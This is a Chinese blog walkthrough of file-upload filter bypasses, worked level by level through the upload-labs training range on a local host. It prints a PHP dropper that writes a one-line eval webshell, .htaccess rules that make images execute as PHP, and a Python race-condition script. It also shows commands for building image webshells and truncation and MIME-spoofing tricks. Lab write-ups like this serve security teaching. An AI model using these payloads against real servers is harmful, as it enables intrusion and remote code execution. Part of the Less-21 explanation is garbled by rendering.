文件上传绕过总结(附upload-labs 21关通关教程)

0x01 前端绕过(Less-1)

数据上传后为提交到服务器,而是由于网站页面的js对其进行过滤,确认是否可以上传,删除限制上传js规则即可。

0x02 后端绕过

1.黑名单绕过

1) 上传特殊可解析后缀 (Less-3)

按照往常改后缀为php发现不允许上传.asp,.aspx,.php,.jsp后缀文件!黑名单
在这里插入图片描述
尝试php2、php3、php4等特殊后缀
在这里插入图片描述

2) 上传.htaccess (Less-4)

在这里插入图片描述
$deny_ext=array黑名单中没有限制.htaccess后缀的文件,因此使用.htaccess后缀绕过。
htaccess文件一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
.htaccess:apache拓展配置文件,可以与解析文件在同一个目录

前提条件:1.mod_rewrite模块开启。2.AllowOverride All

<FilesMatch "、1.png">
SetHandler application/x-httpd-php    #1.png文件会被当做php来解析

<IfModule mime_module>
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

SetHandler application/x-httpd-php  #所有文件都会被当作php来解析

先上传一个.htaccess的文件
文件内容为
在这里插入图片描述
在这里插入图片描述
紧接着上传.png的图片马
在这里插入图片描述
上传成功
在这里插入图片描述

3) 大小写绕过 (Less-6)

在这里插入图片描述

4) 点绕过 (Less-8)

在这里插入图片描述
在这里插入图片描述

5) 空格绕过 (Less-7)

在这里插入图片描述
发现没有去除空格
在这里插入图片描述

6) ::$DATA绕过 (Less-9)

在这里插入图片描述

通过源码发现,没有去除::$DATA
在这里插入图片描述

7) 配合解析漏洞 (Less-19)

由于某种失误,在开始操作之前需更改文件上传之后存放的路径
在这里插入图片描述
查找$this->cls_upload_dir 将文件上传后的路径改为upload
在这里插入图片描述

我们来看看源码,发现服务器先将文件后缀与白名单进行对比,因此不能再上传php文件,只能上传图片马,在其没有重命名之前访问,图片马执行配合其他漏洞,如文件包含,apache解析漏洞等等。
在这里插入图片描述

Shell.php

1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["upload"]);?>); ?>

只要访问了shell.php,php文件就会成功解析执行,自动创建info.php文件,写入一句木马<?php @eval($_POST["upload"]);?>。
还是使用shell.php,制作一个图片马,利用bp进行多线程重放数据包,同时运行py文件,当出现ok时,说明也生成了info.php

import requests
url = "http://127.0.0.1/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

随后使用蚁剑连接url

8) 双后缀名绕过 (Less-11)

在这里插入图片描述

2.白名单绕过

1) MIME绕过 (Less-2)

在这里插入图片描述
直接修改Content-Type
Content-Type:image/jpeg
Content-Type:image/png
Content-Type:image/jif

2) %00截断 (Less-12、Less-20)

  • Less-12
    文件路径%00截断
    在这里插入图片描述
    使用$img_path进行拼接,因此可以利用%00截断绕过,但需满足两个条件。
    满足条件:php版本小于5.3.4;php.ini中magic_quotes_gpc = Off
    在这里插入图片描述
    上传一个1.png的文件,在save_path=…/upload后加上/1.php%00
    在这里插入图片描述

  • Less-20
    在这里插入图片描述
    可以看到move_uploaded_file()函数中的img_path是由post参数save_name控制的,所以我们可以通过%00截断进行绕过。方法同Less-13.
    在这里插入图片描述

3) 0x00截断 (Less-13)

在这里插入图片描述
save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要自行修改。
Php5.3以上不支持
Php.ini中magic_quotes_gpc = Off
在这里插入图片描述
在upload后加上/1.php,选中.php后的空格,代码更改为hex,数字改为00,点击Apply changes。注意:我这里bp使用的是2020版本,在此之前的版本直接在resquest中更改hex
在这里插入图片描述
若request中与我的不一致,只需更改格式即可
在这里插入图片描述
在这里插入图片描述

4) 0x0a截断

3.其他类型

1) 条件竞争 (Less-18、Less-19)

  • Less-18
    在这里插入图片描述

文件上传至服务器,判断文件后缀是都在白名单,若在,则重命名;否则,删除。
Shell.php

1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["upload"]);?>); ?>

只要访问了shell.php,php文件就会成功解析执行,自动创建info.php文件,写入一句木马<?php @eval($_POST["upload"]);?>。

利用bp的intruder模块多线程重放数据包,不断刷新访问地址
127.0.0.1/upload-labs/upload/info.php
在这里插入图片描述
在这里插入图片描述
然后start attack
这里我没有使用py。具体请参考:

https://blog.csdn.net/weixin_40412037/article/details/103952295
  • Less-19
    详情见黑名单绕过-配合解析漏洞

2) 文件头检查 (Less-14)

在这里插入图片描述
通过文件前两个字节判断文件类型,直接上传图片码即可。
Cmd命令copy 1.jpg /b + 1.php /a 1.jpg 制作图片马
或者使用kali
cat 3.php >>3.jpg
在这里插入图片描述

3) 突破getimagesize() (Less-15)

在这里插入图片描述
通过getimagesize()函数判断文件类型,因此同样可以使用图片马。

4) 突破exif_imagetype() (Less-16)

在这里插入图片描述
通过exif_imagetype()函数判断文件类型,因此同样可以使用图片马。

5) 二次渲染绕过 (Less-17)

在这里插入图片描述
二次渲染原理:将显示正常的图片上传至服务器,上传后文件外部虽不会变化,但部分hex值会发生变化,寻找被渲染后图片与原始图片相同的部分,将一句哈木马插入该部分,实现上传webshell
具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的

0x03 绕过总结

在这里插入图片描述

0x04 upload-labs靶场剩余关卡

  • Less-5
    点+空格+点绕过
    在这里插入图片描述
    $deny_ext=array黑名单限制了大部分上传后缀
    查看代码发现存在明显的缺陷,删除胃部的点,收尾的空字符,删除::$DATA,因此可以利用”. .”的方式来绕过,即bp将后缀改为“.php. .“来进行黑名单校验。

在这里插入图片描述

  • Less-10
    点+空格+点绕过,具体参照Less-5

  • Less-21
    在这里插入图片描述
    根据源代码,我们可以知道此处服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给 f i l e , 否 则 就 是 将 s a v e n a m e 参 数 的 值 赋 给 它 。 紧 接 着 判 断 file,否则就是将save_name参数的值赋给它。紧接着判断 file,否则就是将savename参数的值赋给它。紧接着判断file是否是数组。如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。
    在允许上传之后还要把数组的值拼接在一起对文件进行重命名。所以我们可以构造save_name[0]=1.php/ save_name[1]置为空 save_name[2]=jpg(一个白名单的合法后缀)。这样的话,reset($file)取的是数组的第一个元素即1.php/,然后接了一个’.'符号,之后又将数组最后一个元素内容拼接到一起。虽然数组最后一个值是jpg,但是当我们只设置了两个数组元素的时候,数组的元素个数就只有两个了。因此拼接是空的,所以最后得到的文件名就是1.php/.。又因为move_uploaded_file()函数会忽略掉文件末尾的/.,所以我们上传到服务器的
    文件还是被重命名为了php后缀。

绕过方法:
1.将Content-Type修改为jpg格式
2.在save_name处加一个参数[0]
3.将upload-20.jpg改为upload-20.php/
4.添加jpg格式

在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

两小姐的便利贴

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值